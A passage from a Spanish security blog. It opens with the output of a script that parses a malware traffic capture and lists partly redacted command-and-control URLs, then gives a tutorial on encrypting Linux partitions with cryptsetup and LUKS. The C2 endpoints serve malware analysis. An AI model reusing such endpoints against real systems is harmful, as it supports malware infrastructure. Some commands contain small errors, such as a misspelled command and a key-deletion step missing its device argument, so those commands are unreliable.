seifreed@darkmac:~:python parse_pcap.py trafico_malware.pcapFri, Sep 14, 8:51:46 AMhttp://XXXXX.cu.cc/zaqiryt/file.phpFri, Sep 14, 8:51:46 AMhttp://XXXXX.cu.cc/zaqiryt/file.phpFri, Sep 14, 8:52:16 AMhttp://XXXXX.cu.cc/zaqiryt/gate.phpFri, Sep 14, 8:52:16 AMhttp://www.google.com/webhpFri, Sep 14, 8:52:17 AMhttp://www.google.es/webhpFri, Sep 14, 8:52:17 AMhttp://XXXXXX.cu.cc/zaqiryt/gate.phpFri, Sep 14, 8:53:47 AMhttp://XXXXX.cu.cc/zaqiryt/file.php

Podemos ver que el parser ha sido capaz de extraer las URL donde el malware se ha conectado.

17 oct 2012

Cifrar particiones con Cryptsetup and Luks

Como se ha comentado en múltiples ocasiones mantener la información sensible en carpetas, particiones o discos cifrados es indispensable para salvaguardar de ojos ajenos e indiscretos esta información. Hoy proponemos una solución para los usuarios de GNU/Linux con la que se podrá disponer, en este ejemplo, de una partición o de un disco completamente cifrado. Esta idea se puede extrapolar a una partición de un dispositivo USB, el cual utilicemos en el día a día en sistemas Linux. El primer paso es instalar cryptsetup, el cual está disponible en los repositorios, o incluso por defecto con el sistema. En este ejemplo se utiliza Red Hat, en el cual viene por defecto. Para instalarlo en sistemas con apt, ejecutar la instrucción apt-get install cryptsetup.

En primer lugar debemos disponer de un disco o partición. Se puede utilizar el comando fdisk para generar la partición, la cual queremos cifrar. El uso de fdisk es realmente sencillo se debe ejecutar fdisk /dev/<disco> y con la ayuda que es la tecla m, ir seleccionando las opciones que se quieren realizar, generalmente, n para crear una nueva partición, elección del tamaño de ésta, y la letra w para escribir los cambios en el disco.

Ahora estamos en condiciones de generar el contenedor cifrado de cryptsetup. Para ello, ejecutaremos la orden cryptsetup luksFormat /dev/<particion>, de esta manera se generará un contenedor de cifrado el cual destruirá los datos de dicha partición, pero a priori no hay problema ya que es una partición que acabamos de crear con fdisk. NOTA: las ejecuciones de cryptsetup deben realizar como root.

En la creación del contenedor nos piden una clave de cifrado con la que se protegerá la información sensible. Este contenedor dispone de un array de claves, comenzando por la posición 0, que es la clave que generamos al crear el contenedor, pero después se podrán ir añadiendo distintas claves en posiciones posteriores del array.

Ahora disponemos de un disco con la partición sdb1 cifrada. Si intentamos montarlo mediante mount /dev/sdb1 <ruta montaje> no podremos visualizar ningún dato, debido a que el contenedor se encuentra cifrado. Para descifrar el contenedor se utilizará la instrucción cryptsetup luksOpen /dev/<partición> <nombre lógico>. Tras la ejecución de esta instrucción dispondremos del contenedor descifrado en la ruta /dev/mapper.

Ahora solo queda montarlo como una unidad normal, ahora sí mediante la instrucción mount /dev/mapper/<nombre lógico> <ruta montaje>. Pero... hay que tener en cuenta que si es la primera vez que lo montamos, esta partición no dispondrá de un sistema de archivos, por lo que se deberá primero formatear la partición, por ejemplo con EXT3. Para ello se ejecuta la instrucción mkfs.ext3 /dev/mapper/<nombre lógico>.

Ahora sí... podemos montarlo :D Vale y ahora si tenemos que irnos y dejar el sistema encendido, ¿Podemos cerrar el contenedor y volver a cifrarlo? Por supuesto. Debemos ejecutar la siguiente instrucción cryptsetup luksClose /dev/mapper/<nombre logico>, previo desmontaje de la partición lógica.

Sencillo, ¿Verdad? Bien, si queremos añadir claves a los slots del contenedor, para que otros usuarios puedan acceder a dicho contenedor se puede ejecutar la siguiente instrucción crypsetup luksAddKey /dev/sdb1. De este modo se pedirá en primer lugar la clave del contenedor, una vez verificado que tenemos acceso al contenedor nos preguntarán por la nueva clave a añadir.

Si queremos eliminar una clave ejecutaremos la instrucción cryptsetup luksDelKey <número de slot>. Vale, ahora queremos que al arrancar el sistema, automáticamente pida la clave de descifrado de una unidad o que automáticamente la cargue de algún archivo, hecho no recomendable. Para ello utilizaremos los ficheros crypttab y fstab. En primer lugar, debemos configurar crypttab de la siguiente manera:

#Fichero crypttab

<nombre lógico> /dev/<partición> none

NOTA: none significa que la contraseña será pedida al arrancar el sistema, se puede indicar en texto plano la contraseña a introducir o el fichero donde se almacena dicha contraseña.

Ahora debemos configurar el fichero fstab para que automáticamente intente montar la partición ya descifrada. Tendrá el siguiente esquema:

#Fichero fstab

/dev/mapper/<nombre lógico> <ruta montaje> <fs> <opciones> 0 0

El resultado de todo esto es el siguiente:

Ahora no hay excusas para proteger nuestra información sensible mediante el uso de cifrados en Linux.